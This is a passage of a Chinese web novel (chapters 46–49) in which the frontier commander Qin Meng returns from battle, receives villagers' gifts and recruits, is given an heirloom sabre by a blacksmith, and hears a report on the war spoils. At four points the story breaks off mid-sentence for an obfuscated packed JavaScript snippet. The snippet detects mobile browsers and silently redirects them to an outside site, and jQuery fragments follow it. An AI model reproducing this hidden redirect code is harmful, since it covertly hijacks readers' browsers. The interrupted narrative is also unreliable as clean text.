“别怕,乌维是个憨厚人。”秦猛见她们拘谨,忙安慰道,“她才刚成年不久,走出大山想看看外面的世界,没成想遇人不淑被抓住了……”
他说着乌维的遭遇,语气里带着惋惜。陈月娘和秦小芸静静听着,紧绷的神情渐渐舒缓。
厚重的木门“吱呀”合拢,将外面的喧嚣与风声隔绝。
刹那间,屋内光线温柔沉静下来。
阳光透过堂前窗棂,在地面投下摇曳的暖光晕。
厅内只剩秦猛和他最亲近的两位女子。
陈月娘——自幼养在秦家,与秦猛有婚约却未过门的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418861|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姑娘,此刻笑容收敛,眼中的担忧再也藏不住。
清亮的泪珠在她眼眶里滚了几滚,终究没落下,那强忍不哭的模样,比泪落更让人心疼。
她几步上前,纤白手指带着轻颤,抚过秦猛铁甲上几道新裂口。
尤其是肩膀处那道狰狞的弯刀豁口,几乎延伸到胸口,能看见下面沾着尘土的甲片边缘。
指腹下的叶片粗糙冰冷,陈月娘的心却揪得更紧。
“猛子哥……”
她声音低如蚊蚋,带着后怕的哽咽,千言万语堵在喉头,只化作这一声含着浓情的呼唤。
秦小芸则直接得多。她像只受惊的小兔子,红着眼,猛地扑上前,紧紧抱住秦猛结实的胳膊。
女孩小脸煞白,还留着未干的泪痕。
“哥!听李叔说你追杀**,可吓死我们了!”
她带着哭腔:“姐姐守在这儿点了一宿灯,我眼睛都没敢闭……你下次再鲁莽,我就不理你了……”
后面的话被委屈和后怕淹没,只剩细细的抽噎。
加官进爵虽风光,可谁知道其中凶险?
秦猛在战场勇猛,皆是靠搏命换来的。
他看着至亲担忧的模样,心头一暖,像被温水熨过。脸上战场染的冷硬线条瞬间变得柔和。
秦猛习惯性想拍胸脯宽慰,又怕用力吓着她们。
他用带厚茧的大手,在胸口覆甲处轻轻拍了拍,发出“咚、咚”闷响。
“傻丫头,怕什么?”他看着秦小芸,声音浑厚低沉,带着抚慰力,“哥这不是好好回来了?连皮都没蹭破。”
“**来袭哪没危险?只有杀退**,才能守堡子。大家都害怕,龟缩,结果只能沦为……”
他没说出“两脚羊”,目光转向陈月娘。灯火映着她低眉泫然的模样,无言关切胜过千言。
“男人不拼命,怎么守家、护婆娘?”
他心头微动,下意识抬手拭去她眼角溢出的泪珠。
陈月娘感受到他的目光和动作,眼神慌乱,垂下头,一张俏脸“腾”地烧红,耳根染了绯色。
突如其来的羞意让她失措,男人指尖的温度烫得她心跳“砰砰”如擂鼓,几乎要撞出胸口。
“我……我去伙房做饭,给猛子哥你弄吃的!”她慌乱丢下一句,逃也似的转身往伙房去。
那薄红在女人白皙肌肤上晕开,像初绽的三月桃花。如在这微凉厅堂里添了抹暧昧春色。
秦猛望着她仓促背影,嘴角弯起丝不自觉的温柔笑意。
还没等陈月娘掀厨房布帘,门外传来急促拍门声和妇人哭腔:“秦知寨,在家吗?是我们啊!”
第46章 谢礼与投军
“是春兰姐!”秦小芸止了抽噎,和秦猛看向门口。
秦猛脸上的温柔笑意瞬间转为沉稳,示意小妹去开门。
“咯吱”堂屋门一打开,果然是隔壁的王寡妇,她头发有些散乱,眼睛红肿,显然是哭过许久。
她手里紧紧挎着一个盖着蓝布的竹篮,里面堆放着三十来个攒起来的鸡蛋,上面还沾着草屑。
她身边跟着鼻青脸肿的王大宝。
一进门,王寡妇“噗通”一声就跪在了地上,把篮子放在一边,用力推了一把身边的儿子。
“快!大宝,快给恩人磕头,快磕头!”
那王大宝倒也听话,“咚咚咚”三个响头就实实在在地磕在了冰冷的地砖上,脑门都红了。
“使不得,嫂子快起来,快起来!”秦猛眉头一皱,一个箭步上前,一把抓住王大宝的胳膊,稳稳地将这孩子提了起来,不让他再磕下去。
他看着王寡妇苦笑:“春兰姐,你这是做什么?快起来说话。乡里乡亲,碰上了哪有不帮的道理?”
秦小芸不用吩咐,忙弯腰去搀扶地上的王寡妇。
王寡妇想起昨晚的凶险,眼泪又止不住地流:“猛哥儿,要不是你…我家大宝他…他昨晚就…”
““是大宝运气好。”秦猛摆手打断,一拍脑袋笑道:“多亏了石头,嫂子应该好好谢谢石头。”
“这个自然,小妇人记住了。”王寡妇重重点头。她弯腰拎起地上的篮子,双手递给秦猛。
“我…我们家穷,实在拿不出别的……这点鸡蛋……”她看着那个珍贵的篮子,声音哽咽。
“望…望秦大人莫要嫌弃!”
对一个寡妇来说,这一篮子鸡蛋是自己舍不得吃,攒了多少时日、是家里较为值钱的物什。
秦猛看了一眼篮子里的鸡蛋,没有丝毫嫌弃,反而郑重地伸出大手将那篮子稳稳接了过来。
“好,嫂子一番心意,我收下了。”
他知道,有时候收下这份心意,比推辞更能让对方心安。反正缴获点清狗也会挨家挨户分发。
秦猛转身,对还没来得及躲进厨房、此刻正站在布帘边的陈月娘朗声道:“月娘,鸡蛋正好。
劳烦你多添几碗米,把这些鸡蛋蒸上、炒上,多割些野猪肉炖着,请王嫂子和侄子吃个饭!”
陈月娘脸上的红晕还未完全褪去,闻言连忙应声道:“哎!我这就去准备!”
她接过秦猛递来的鸡蛋篮子,入手沉甸甸的,感受着这份母亲的情谊,转身快步去了伙房。
王寡妇有些手足无措:“这……这怎么好意思……”
还没等她婉拒,院外突然有女人的嚷嚷响起:“俺就说嘛!知寨他顾家,哟?春兰妹子也在?”
众人循声望去。
李铁匠引着王婶和三个人走进了院子。
除了这对邻居夫妇,身后三人两男一女——那两位昂藏魁梧、浑身透着彪悍劲的青年,正是昨夜与秦猛并肩浴血厮杀的王善、**兄弟。
在他们身边,还站着个约莫十六七岁的姑娘:模样清秀,身材匀称,相貌与王善兄弟有几分神似,利落短打配腰间短刀,透着飒爽劲。
她双臂修长有力,步伐轻盈而沉稳,健康的小麦色皮肤衬得眼神愈发灵动,隐隐透着股野性。
“秦知寨,秦大人……”王婶的脸上笑开了花。
秦猛却板起脸,无奈道:“王婶、李叔,说了多少次,咱们是一家人,私下里别这么见外。父母走后,月娘撑起这个家,没您和各位叔伯婶子帮衬、接济,我秦猛怕早就饿**!”
“没错,您这般客套,我们如何心安。”
陈月娘,秦小芸纷纷附和,一脸不高兴的模样。
“你这婆子,有话直说。”铁匠李根生在旁埋怨。
“行行行。”王婶连赔笑,侧身指着身后两青年:“猛哥儿,这就是俺娘家那俩不省心的侄子。
昨儿夜里多亏您带着,臭小子们,”
她转头喝斥:“还不快拜见大人?承蒙大人带你们杀**立功。”
王善、**对视一眼,齐齐上前单膝下跪,抱拳行礼,声如洪钟:“王善(**)拜见秦将军!我兄弟愿投军追随左右,效死杀贼!”
他们眼中满是对力量的崇拜与建功的渴望——昨夜目睹秦猛的勇猛,早已心服口服。
秦猛看着这对悍勇双胞胎,心中大喜。昨夜并肩作战这两人勇猛,已见实力,他早问清楚:兄弟俩猎户出身,还曾拜师老军学过武艺。
如今正式投效,正是充实亲兵班底的好材料。
“好,痛快!”秦猛哈哈大笑,一手一个将他们搀扶起来:“起来吧!秦某已是磐石营副将,你们就留在我身边当亲兵,跟着好好学本事!”
“谢将军!”兄弟二人起身肃立,脸上难掩激动。
“还有艳儿呢!”王婶又忙把姑娘往前推:“猛哥儿,这丫头叫王艳,见哥哥们投军,吵着也要来,说她学艺多年,力气不输男娃……”
妇人语气里半是无奈半是骄傲。
“休要胡闹。”李铁匠轻声喝止,“咱大周朝哪有女子投军的先例?”
“哼,别处不管,咱这是边陲!”王婶瞪了丈夫一眼,自顾说道,“边堡时时刻刻面临危险。**凶残,可不会因为是女人就手下留情。
忘了李家屯、芦苇堡?如今只剩残垣断壁,当年被摧毁多少人惨死,女人**就少了吗?”
在场人都知晓往事,气氛一时沉默。
“俺觉得边陲不分男女,**来了,全家都得齐上阵护家园!”王婶蛋手叉腰,泼辣说教。
话音刚落,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418862|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秦猛便点头赞同:“王婶说得在理。”
王婶见状更高兴,拉着侄女上前:“俺家小艳儿刀枪棍棒,骑马射箭,样样精通,咋就不行?”
王艳挺起胸脯,直视秦猛:“秦大人,俺有力气,会使刀枪,骑射,俺也要从军杀**,为乡亲们报仇。”
秦猛看着这眼神倔强、野性勃勃的姑娘,有些哭笑不得。直接拒绝伤了情分,答应又不合规制。
——军中尚无女兵先例,组建女兵更是惊世骇俗。
他略一沉吟,有了主意:“艳儿姑娘勇气可嘉。但大周军中暂无女兵编制……这样吧,你身手好,先负责保护我夫人陈月娘的安全,她身边正需可靠之人。
待日后军寨壮大、时机成熟,我便考虑组建女子巡逻队或医护队,到时给你留个位置,如何?”
这话既给了台阶,又留了念想,更安排了实际用处。
王艳眨巴大眼,看看羞涩的陈月娘,又瞅瞅秦猛认真的神情,觉得在“将军夫人”身边做事也不错。
尤其“日后时机成熟”的承诺实在诱人。
她“嗯”了一声:“那行!俺先保护夫人!”
说着她便主动站到陈月娘身边,惹得月娘轻笑。秦小芸与她年纪相仿,凑过来,倒也投缘。
“秦大人,俺家大宝也想加入堡寨少年队随军操练!”
一旁的王寡妇看得眼热,立刻拉着儿子王大宝上前。
从前她总担心儿子安全,经历劫掠后才明白,手握刀枪才最实在,何况入伍还有粮食补贴。
“大人,俺不怕吃苦,俺要杀坏人、杀**!”王大宝捂着淤青的脸颊,咬牙切齿地道。
秦猛见孩子眼中的恨意,思索片刻后,点头:“没问题,到时候去报名,就说是我说的。”
接下来,秦猛索性也留李铁匠夫妇等人吃饭,又让亲兵去请刘瘸子、刘大牛、石头三人。
特别嘱咐把功臣大黄也带来加餐。
随着被邀请的人盗了,秦家小院渐渐热闹起来。
张富贵办完事回家休息,见此情景也带着老婆过来。
伙房这边,陈月娘、王寡妇、王婶、富贵婆娘杨氏忙着做饭。
院里,秦猛与张富贵、王善、**切磋武艺。
秦小芸、王艳、王大宝、石头等孩子在旁观看,不时叫好。
临近中午,伙房传来招呼声,秦猛又把乌维拽起床,这憨货不情不愿,听到吃的跑得飞快。
女人在伙房坐了一桌。
秦猛、张富贵、李铁匠等大老爷们凑成一桌。
张富贵抱来两坛舍不得喝的好酒。
众人把酒言欢,聊着胜仗后朝廷或许会给的奖励……
直到酒足饭饱,众人各自回去休息。
秦猛奔波作战了一夜,早已累极,倒头便呼呼大睡起来……
第47章 妇人之见
不
“哎哟!我说你这死老头子!”李铁匠领着婆娘和三个子侄回到小院,王婶脸上的笑容消失。
她一把拽住丈夫粗壮的胳膊,不由分说就把他往里屋拖:“杵这儿干啥?灶王爷都得嫌你挡道!”
堂屋门被她“砰”的一声用力关上,扬起几缕浮尘,也隔绝了门外愕然,探头探脑的子侄们。
——王善、**,还有小侄女王艳。
门内,王婶立刻开了腔,声音压低了,但那股子恨铁不成钢的劲儿却像炉膛里鼓足了风。
“你、你你你!让我说你什么好!俺使眼色给猴儿看。活该你一辈子在铁匠铺子里捶铁!”
李根生被这连珠炮似的话问懵了,搓着手上的老茧,茫然地抬起头:“咋……咋了婆子?”
“咋了?你还有脸问?”王婶炸毛了。
她踮起脚,手指头几乎戳到李根生的鼻尖,“猛哥儿留咱们吃饭,多好的机会。啊?天赐良机!多少人巴巴地想往他跟前凑都没门路。
你们爷仨倒好,尽说些‘**可恨’、‘收获不错’的片儿汤话。怎么?嘴巴被铁水焊**?就不能在猛哥儿面前,提提咱家俩娃的本事?”
她气得胸口起伏,唾沫星子都差点喷出来。
李根生这才明白过来,脸上挤出那标志性的苦笑,带着几分无奈和憨厚:“你这婆子……咱们是做客的,我这……让我如何说得出口嘛?”
“怎么就不能说了?”
王婶的调门陡地拔高:“你张不开这张老嘴,难道指望小善、小良两个棒槌自己凑上去。
跟将军说‘我能行’、‘我本事大’?那不成卖大力丸的了?”她狠狠剜了丈夫一眼,语速飞快。
“你就坐在对面,给王善、**说几句实打实的好话:‘猛哥儿,我家小善九岁就能摔倒黄牛犊子,那股子猛劲儿,可少见!’
‘小良十二岁就能举起老碾场那几百斤的石碾子,根基扎实着哩!’这些响当当的本事,你半个字都不提?你是要捂馊了,带到土里去?”
她叉着腰,身子前倾,那双常年操劳、略显粗糙的手用力拍着膝盖:“你得让猛哥儿看重他们。
得留下有本事的好印象,这次军功提拔多少人盯着?错过了这次露脸的机会,以后升官发财的门槛儿有多高,你能拿铁锤敲平喽?啊?”
李根生像是被炉火烤得难受,嘴唇蠕动着,喉咙里发出含糊的“咕哝”声,想反驳,奈何词库贫瘠得像干涸的水洼。
他憋得额头都沁了汗,最终只变成一声沉重的叹息,沉默地垂下头,任由婆娘逞口舌之利。
他嘴笨,根本就说不过,几十年了,面对这张利嘴,永远是那个笨口拙舌、被“锤打”的铁砧。
王婶瞧着丈夫这副闷葫芦模样,气就不打一处来,但话题一转,又扯出了新主意:
“你呀,光知道打铁,连人情世故都锈住了。
我过门那年,咱家太爷健在,整日整夜钻在炉火里不归家,捣鼓啥?忘了?叫啥刀来着。
咱家不是传下来一把好刀吗?搁哪了?快拿出来!”
李根生猛地抬眼,浑浊的眼里闪过一丝惊讶和迟疑:“狗刀?”
“对!就是那把老爷子宝贝似的刀!”王婶拍着大腿,斩钉截铁,“之前在秦家,我看得真真儿的。猛哥儿那两把佩刀都砍出豁口卷刃了。
你把那把家传的好刀送给他,这是雪中送炭!他能不念着你李根生这份大人情?他能不记着咱家的好?你再说几句好话,这事就成了。”
“刀……”李根生的神情变了。眼中不再是憨厚的无奈,而是掠过一层深沉的追忆与慎重。
他当然记得。爷爷用了最好的铁料,足足琢磨了两三年,汗水不知道流了多少,炉火不知熬干了多少回。那是老人凝聚毕生心血锻造。
——是李家铁匠最后的骄傲。
他嗓子有些发干:“有这个必要吗?娃们要是真有本事……”
“你就是个榆木疙瘩!死脑筋!”王婶的声音陡然又拔高八度,戳着他的胸口,“咱家以前帮衬过秦家没错,左邻右舍的情分是一码事。
可猛子如今不一样了!连连升官,带着咱们堡寨在战场上挣脸面,开春了,估计又会被提拔。
咱们主动靠拢,表表心意,这叫人情世故!这情分需走动,加了份量,才更瓷实!懂不懂?”
李根生被戳得后退半步,皱着眉,终于找到个话缝**去:“猛哥儿的性子,我最清楚。
跟他爹当年一个模子刻出来的,骨头里都是倔强。
要强着呢!只要咱家小善、小良真有那个实力,是能杀敌立功的好苗子,上阵又听话,还怕不能出人头地?他不会委屈了真正有本事的人!”
提起猛哥儿的父亲,他声音里带着罕见的肯定。眼中闪过追忆,那也是自己儿时的玩伴。
“那是两码事儿!”王婶的气势被丈夫这少有的坚持给顶回去几分,但依旧强硬过,
“做长辈的,替娃们说句话,担个保,怎么了?能让猛哥儿心里更底实,念及情分,稍微照拂一二,也让娃们心头更安稳,少走弯路!”
堂屋门外。
王善、**两个大小伙子,耳朵紧贴着门缝,大气不敢出。
王善脸上涨得通红,似乎姑姑提起他九岁戴红花环被牛追,摔倒黄牛的旧事让他既得意又害臊。
弟弟**则捏紧了拳头,仿佛那几百斤的石碾子就在脚边,恨不得再次举起来让人惊叹。
门板后的唠叨声还在突突响着,就在兄弟俩紧贴的门继续偷听时,门板“吱呀“一声突然打开。
两人重心不稳,跟滚葫芦似的摔滚进了堂屋。
“哼,两个小兔崽子!“王婶叉着腰,冷笑不止,“从小就爱扒门缝听墙根,这毛病不改改。
以**了军营可怎么得了?军规如山,军令如铁,哪能由着你们这般散漫,自
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418863|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己得争气……“
炮火突然转向自己,两人跟被针扎了似的赶紧站直,脊梁挺得笔直,眼神飞快地在空中碰了一下,满是“这锅怎么扣过来了“的无奈。
王善偷偷瞟了眼**被灰尘蹭脏的裤腿,**则瞅见哥哥歪到一边的帽檐,都憋着不敢笑。
他俩转脸看到若无其事的李铁匠,刚才姑父一直没出声,只偶尔传来几声劝“少说几句”。
想到姑父几十年如一日在这“唇枪舌剑”的炉火里煅烧,两人对视一眼,竟不由得肃然起敬,暗暗佩服姑父这千锤百炼的忍耐功夫。
“你俩那是什么眼神?老娘说话,你们得听。”王婶嘴巴是一刻不得闲,火力无缝转向。王善和**两个小伙被训斥得抬不起头来。
王婶眼尖,一把拽住想悄悄溜走的侄女王艳。
“艳子,哪儿去?”
王婶拍着姑娘的小手儿,压低了点声音:“等会,你麻利点,去隔壁猛哥儿家,陪着月娘说说话。
她现在是将军夫人,身份尊贵着,身边不能没个亲近可靠的人。
你就跟在月娘身边,多在堡子里走走转转,帮衬着,护着点。
你姑父指望不上,眼下这份人情世故,就得靠你了闺女!”
小姑娘王艳鹅脸蛋儿上带着涉世未深的懵懂,小鸡啄米般点头:“嗯嗯,知道了,姑姑。”
“机灵点!”王婶还不放心,又凑近些,传授着自家琢磨出来的“真经”,“有时候,得让贵人看见你的真本事。耍两下你爹教的把式,就说是护身的。
顺势提提你那俩哥哥的本事,要自然。关键是要跟月娘亲近,将军夫人得多走动,与猛哥儿给咱们军寨撑起一片天,也让猛哥儿没后顾之忧。
丫头,你多露露脸,稳当可靠,以后有啥好营生、好亲事,才能落到你头上,你哥跟着沾光!”
王婶的目光扫过三个子侄,语重心长地说着,充满了对后辈前途的精细盘算和不容置疑的掌控。
“咳!你这婆子,又在多嘴多舌,瞎掰扯你那套……”李根生这时猛地拉开门出来,像是再也听不下去,又像是被戳中了什么心事。
他一把拉住王婶的胳膊往卧房拽:“孩子们大了,他们的事,急也急不来,回屋待着去!”
“哎哎哎!你拉**啥?我话还没说完呢!小善,小良,听见没……”王婶挣扎,架不住铁匠力大,不甘心被拖走,声音被房门阻隔……
……
与此同时,河畔张富贵家,那座平日里处理猪羊的杀猪棚,此刻却迎来了前所未有的“大生意”。
战马的尸体被源源不断地运送过来。
棚内早已是热火朝天!几个经验丰富的屠户带着二十多个堡民壮劳力,正挥汗如雨地忙碌着。挑水、烧火、刮**、剥皮、分割马肉……
沉重的砍骨刀剁在案板上的“咚咚”声,铁钩划过皮肉的“嗤啦”声,以及弥漫着一股血腥味……
第48章 李铁匠赠刀
烽燧堡下的战场许多血迹未干涸,浓烈的腥气依旧刺鼻,无声诉说着昨夜前那场伏杀的惨烈。
本该由秦大壮负责的战场清扫,因诸葛风奉秦猛之命,率百余堡内壮劳力赶来接替而提前结束。
诸葛风迅速指挥众人编队,有条不紊地打扫战场。
人多力量大,战场很快被清理干净。河畔的狼藉虽已不见,但那刺鼻的血腥气却如同跗骨之蛆,依旧顽固地弥漫在空气中,挥之不去。
幕僚长诸葛风并未离开,他站在堡内清理出的空地上,主持分类统计各处汇集而来的战利品。
这位落魄书生已是王保长不可或缺的左膀右臂,整日与算盘、账簿为伍,行事严谨得近乎刻板。
各处送来的每一石粮、每一匹布、罗记矿行的每一斤铁料、每一篓硫磺,收支进项,他都一丝不苟,记录得明明白白,账目清晰无误。
此刻,军堡、破庙、燧堡三处战场送来的繁杂物品。
在他的指挥下,铁甲、皮甲、长短弓、弯刀、破损的甲胄,防具、弓箭、乃至**的衣服靴子,都被迅速分类、规整、记录在册……
然后,完整的甲胄武器入库,破损的分类送到堡内各作坊修缮……,琐事处理的井井有条。
……
堡内的事儿有老保长负责调度。
打扫战场,这种琐事也有诸葛风等文案操笔处理。
知寨官秦猛这一觉睡得非常踏实!
他嘴角翘起,做了个美梦,梦里锣鼓齐鸣,红霞漫天,他竟穿着大红的喜袍,骑着高头大马,胸前系着红绸花,迎娶新娘——陈月娘。
堡内欢庆一片,喝交杯酒,闹洞房,乡音浓重的山调野曲响彻村头。这份独属于这个时代的笨拙而滚烫的热闹,让他体会到这古代婚礼……
“咣当!”或许是梦中的锣鼓太响,又或许是新娘子太美,他一头撞在炕沿上,猛地惊醒。
眼前哪有锣鼓、花轿、新娘?
唯有一抹血似的夕阳,正穿透发黄的窗纸,刺得他眼皮生疼。
“哦,原来是个梦!”秦猛怅然长叹。
他甩甩昏沉的脑袋,翻身下床,穿戴整齐,出了门。发现陈月娘和秦小芸果然都不在,土墙上贴了张纸条,是去裁缝铺,医疗所帮忙。
耳房里鼾声如雷,是乌维呼呼大睡。
秦猛放轻脚步,返入堂屋,目光落在墙角两柄豁齿卷刃的**上。
一把是秦大壮给的,一把是帅司任命时配发的。奈何,高强度**之下,崩了口,都已卷刃。
“这弯刀好,标志性太强,该给它们一个痛快了。”秦猛摸着腰间挂着的弯刀,嘟囔一句。
他捡起两把刀,大步流星出门。
去隔壁找李铁匠,发现他正好在家。
只是老汉在半塌的窝棚发呆,独自闷头啜着劣酒。
“李叔,帮忙看看这两把刀。”秦猛大踏步走过去。
“卷了?小毛病!扔炉里烧红捶打几下就能活!”李铁匠接过刀,老茧手抚过刀口的伤痕,浑浊的眼珠在煤灰般的脸膛上转了两下。
他忽然沉默,粘着铁灰的黑脸罕见地透出一抹赧然。
他喉结滚了滚,竟“噗通”一声把酒碗墩在砧板上,浊黄的酒液泼了一角。
“秦将军……”老汉喉咙发干,声音陡然低涩。
“李叔,你这样我掉头就走。”秦猛脸瞬间拉下来。
李铁匠立马改口:“猛哥儿!我太爷…当年憋了整整一冬又一春的气力,打出了一把刀。”
他抬眼,那眼神像是被炉火点着了,带着点豁出去的孤狠:“那是把宝刀,给大帅用的命刀。可这世道,它不该埋在我这臭炉灰堆里。”
李铁匠猛地攥紧了拳头,骨节咯咯作响,脸上那点难为情被一种近乎悲壮的决然压了下去。
“猛哥儿!那刀,给你,用这把刀…替乡亲们砍出条活路!”
不等秦猛回应,他又飞快地、像怕自己后悔似的补充道:“还有……你王婶家里那俩不成器的小子……能跟猛哥儿你……混口饭吃不?
那婆娘一早聒噪到日头偏西……没个完了!”他的声音又低下去,带着一丝软弱的希冀。
“还有俺李家那混小子李山……日后…劳您多踹两脚!”
“成!”秦猛的回答斩钉截铁,没有任何犹豫,像利斧劈开木头:“乡里乡亲,信得过。只要敢拼命、有本事,有我一口,就少不了大家伙儿的前程!”
李铁匠肩膀猛地一松,长吁一口气,仿佛千斤重担撂了地。
他起身,对秦猛低声道:“跟我来。”
铁匠自家的铁匠房更乱,满是油污和铁锈味。
李铁匠踉跄着扑向墙角,几乎是带着一种奇特的虔诚,从一堆黑黢黢的破铜烂铁后面拖出一个朽木柜子,从里面取出同样蒙尘的狭长木盒。
他用自己那件油亮的破袄袖子,一遍又一遍,像擦拭初生婴儿般,拂去盒上经年的积垢。
每一次擦拭,脸上的皱纹就深一分,带着沉甸甸的遗憾和不甘的决绝。
“我家太爷本想用它,换给一位靠得住的将军,求个军匠名分,好护佑儿孙……可惜啊……局势越发混乱,后面帅臣又没几个中用的……”
“拿好!”老汉深吸一口气,像托付自己的魂灵,将那布满灰尘的盒子死死按在秦猛怀里。
秦猛接过那长木盒,只觉双臂一沉。那分量,不只是铁块,更像接住了几代人的不甘和性命。
他眼神凝重,郑重地点头,无需多言。
盒盖打开,剥落的锦缎衬布上,躺着一把形制粗犷、刀柄黝黑古朴,带有厚重刀鞘的腰刀。
“噌——”一声悠长的轻鸣。
昏暗的光线下,刀刃乍现,雪亮却不显刺目寒光,反透着一股古井深潭似的凝练寒气。
刀身沉实压手,刀脊厚而坚韧,刃口线条带着一种无言的凶悍。
秦猛伸出手指——并非用指甲去试,而是用指腹极其小心地感受那刃口的纹理。触感锐利、致密得惊人!
这绝非寻常凡铁!
在这样粗劣的环境下,要熔炼足够的精钢,再千锤百炼,方铸出这样一柄足以传世的凶器。
耗费的心力简直匪夷所思!
每
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418864|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一道锻打,都掺杂着铁匠的血汗和屈死的魂!
“好刀!!!”秦猛的声音低沉而滚烫,眼中瞬间燃起灼人的战意,“李叔,我秦猛承这刀的情,也承这托付的分量,但我却不能白拿。”
话音未落,“咚!”几锭雪花白银(约百两)砸在沾满铁灰的砧板上。
就在李铁匠被银锭惊得有点发懵时,秦猛仿佛随口提道:“李叔,这是缴获分润。另外,先祖还魂托梦时,像是提了几句打铁的门道。”
他顿了顿,皱眉说道:“说是熔矿前若能淘洗选矿石,分出好坏,熔出的铁水杂质就能少些……
再有就是燃料,煤料也可以分拣,洗去土石杂质。这鼓风,试试双拉风箱,烧到极致时再加一道沉淀,用碎炭铺底,吸附铁汁杂质……”
秦猛凭着前世模糊的记忆,零零星星地说着如何选矿分拣、强化鼓风、吸附杂质之法道来。
李铁匠初时不以为意,可听着听着,那张满是褶子的黑脸渐渐呆住,眼神直勾勾的像被雷劈了。眼睛越瞪越大,目光炽热得像要燃起来。
秦猛组织言语,说着自己知道的相关锻造法门。说完,如何吸附铁水杂质后,便觉得要词穷。
李铁匠却如魔怔了,猛地抓住他胳膊,一个劲儿追问细节,唾沫星子差点喷了秦猛一脸。
“李叔!李叔!我……我就记得这点皮**!真不懂内里关窍啊!这个还得需要你实际尝试。”
秦猛搜肠刮肚,终于狼狈地挣开那双铁钳般的手:“我还有事儿,有空去作坊谈,先走一步!”
话音未落,他人已如脱兔般“逃”出了铁匠房。留下一个近乎癫狂、对着铁匠炉子和银子发呆的老铁匠,喃喃自语后,眼神越来越亮……
秦猛狼狈地冲出李家小院,心有余悸地叹气。自己知道的是理论,这种法子需要专人摸索。
他恰好瞥见诸葛风脚步匆匆,正迎着夕阳余晖,往他家院子的方向急赶。
“大人!”诸葛风看见秦猛,眼中焦虑顿消,化为明亮的光彩,脚下更紧了几步,小跑着奔至近前。
“大人,您交代的事办妥了。”
“此次破庙并军堡,所获战利品,均已清点造册完毕!”
“这么快?”秦猛略感吃惊,本以为明天才搞定。不过见到诸葛风额头汗珠,便恍然大悟。
——这位固执的书生忙碌到现在!
“诸葛先生辛苦了!”秦猛立刻正色道,侧身引手。
“外边冷,说话不便,来家里坐坐,喝杯茶细说。”
两人转身进了小院,亲兵回营房休息,秦猛请诸葛风坐了,去伙房拎水壶,给对方冲泡茶水,
“使不得,岂能劳烦知寨……”诸葛风受宠若惊。
“坐坐,客随主便!”秦猛把他摁回坐椅上,冲泡好两杯茶,入座后,与诸葛风聊起了家常。
秦猛多是问诸葛风是否习惯此地生活,事务繁重否?又关切询问他妹子的身体是否好转。
这般关怀让虽饱读诗书却流落北地的诸葛风心头暖意涌动,更深深感念着秦猛的知遇之恩。
第49章 人无横财不富
一杯香茗快见底,两人才说起正事。
“讲!”秦猛靠坐在椅子上,眼神从温和变得锐利。
诸葛风也不废话,利落地翻开手中那本墨迹新干的账簿,清了清嗓子,朗声汇报:
“此次核心战果,歼敌,经核验:累计斩获**首级二百五十三级,捕奴团恶徒四十五级。
另俘虏敌猛安兀鲁思及六名轻伤**。
捕奴团头目严虎及两名轻伤的喽啰。”
除兀鲁思,已登记,撰写为战报。”诸葛风边说边把册子放到茶几上,继续念着统计数据,
“获无主战马四百三十九匹、皆为草原好马。
堪用驮马三十五匹;破庙捕奴团及**尸清理所得,散碎银两与金银制品合计,金两千两,白银逾八千两——此乃一笔巨资,大人!”
秦猛微微点头,对此并不意外。
**入境为了劫掠,人人配两马,昨夜直接击溃敌人,光是备用马**地,就有两百多匹马。
女真部落金银首饰多寡,代表着地位高低。使得女**腰带非金即银,辫子上有金坠银饰。即便上战场也不摘,通俗来说就是送财童子。
上次五个女真探马,搜刮就获得两三百两银子。
这也是秦猛非要搞死对方的原因。
诸葛风指尖划过账簿续道:“甲胄方面:得**制式铁甲四十五套,近半损伤但主体完好。
皮甲超两百余套,完整可用者一百三十套,余下七十余套破损皮甲,已送堡内作坊修缮。
“**武器:缴获长弓短弓共五百余张八成弓体完好。铁簇箭矢,**均过百,共两万支。
另得制式统一的**弯刀两百六十把,**,短刀,圆盾等若干,损坏的铁器送到作坊。”
